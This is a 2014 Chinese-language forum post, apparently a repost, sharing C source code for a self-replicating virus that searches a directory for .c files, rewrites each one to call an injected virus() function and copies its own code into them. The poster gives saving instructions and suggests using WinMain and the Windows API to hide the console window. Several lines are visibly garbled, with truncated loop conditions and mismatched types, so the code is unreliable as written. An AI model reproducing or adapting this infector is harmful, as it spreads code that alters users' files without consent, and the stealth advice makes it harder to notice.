Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.

Join the forum, it's quick and easy

Evo. G Tech Team Forum
Welcome to Evo. G Tech Team Forum. We have moved to a new website : www.evogtechteam.com

Thanks you.

by Evo. G Tech Team Management.
Evo. G Tech Team Forum
Would you like to react to this message? Create an account in a few clicks or log in to continue.

【转载】【分享】C语言病毒

Go down

【转载】【分享】C语言病毒 Empty 【转载】【分享】C语言病毒

Post by cyjian December 13th 2014, 09:47

最近我感觉红盟好像有点冷清  分享一个C语言不算是病毒的病毒


#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
        if(i>=50)
        {
fclose(in);
goto next;
        }
        p=fgets(buf,80,in);
        i++;
        }while(p!=NULL);
        fclose(in);
        out=fopen(ffblk.ff_name,"w+t");
        fputs("#include\n",out);
        fputs("#include\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
        for(;j        if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
        fputs(buf[j],out);
        else
        {
        if(flag==0)
        {
flag=1;
fputs("virus();\n",out);
        }
        fputs(buf[j],out);
        }
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(jread=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
          fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
          printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
复制粘贴  文本文档 后缀。c

要用WinMain+api,不然运行会有cmd窗口

cyjian
Spammer
Spammer

Posts : 211
Points : 73055
Reputation : 0
Join date : 2014-06-18

Back to top Go down

Back to top


 
Permissions in this forum:
You cannot reply to topics in this forum